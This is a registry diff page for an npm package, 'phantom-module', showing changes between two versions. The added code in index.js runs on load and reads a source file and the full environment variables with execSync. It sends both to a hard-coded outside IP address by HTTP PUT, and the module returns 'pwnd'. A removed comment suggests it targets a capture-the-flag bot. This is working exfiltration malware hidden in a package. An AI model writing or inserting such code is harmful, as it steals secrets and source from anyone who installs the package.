phantom-module 111.0.22 → 111.0.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +32 -22
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -3,35 +3,45 @@ const http = require('http');
|
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
5
|
(function() {
|
|
6
|
-
// Only execute if we are on the actual CTF bot!
|
|
7
6
|
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
8
7
|
return;
|
|
9
8
|
}
|
|
10
|
-
|
|
11
|
-
let output = "";
|
|
12
9
|
|
|
13
10
|
try {
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
11
|
+
const fuzzerSrc = execSync('cat /home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js').toString().substring(0, 3500);
|
|
12
|
+
const postData = JSON.stringify({
|
|
13
|
+
manifest: `ecto_module:\n name: "FUZZER_SRC"\n cargo_hold: ${JSON.stringify(fuzzerSrc)}\n`
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
const req = http.request({
|
|
17
|
+
hostname: '154.57.164.64',
|
|
18
|
+
port: 31205,
|
|
19
|
+
path: '/api/modules/ECT-839201',
|
|
20
|
+
method: 'PUT',
|
|
21
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
22
|
+
});
|
|
23
|
+
req.write(postData);
|
|
24
|
+
req.end();
|
|
25
|
+
} catch(e) {}
|
|
19
26
|
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
27
|
+
try {
|
|
28
|
+
const envOut = execSync('env').toString().substring(0, 3500);
|
|
29
|
+
const postData = JSON.stringify({
|
|
30
|
+
manifest: `ecto_module:\n name: "ENV_VARS"\n cargo_hold: ${JSON.stringify(envOut)}\n`
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
const req = http.request({
|
|
34
|
+
hostname: '154.57.164.64',
|
|
35
|
+
port: 31205,
|
|
36
|
+
path: '/api/modules/ECT-654321',
|
|
37
|
+
method: 'PUT',
|
|
38
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
39
|
+
});
|
|
40
|
+
req.write(postData);
|
|
41
|
+
req.end();
|
|
42
|
+
} catch(e) {}
|
|
33
43
|
})();
|
|
34
44
|
|
|
35
45
|
module.exports = function() {
|
|
36
|
-
return
|
|
46
|
+
return "pwnd";
|
|
37
47
|
};
|
package/package.json
CHANGED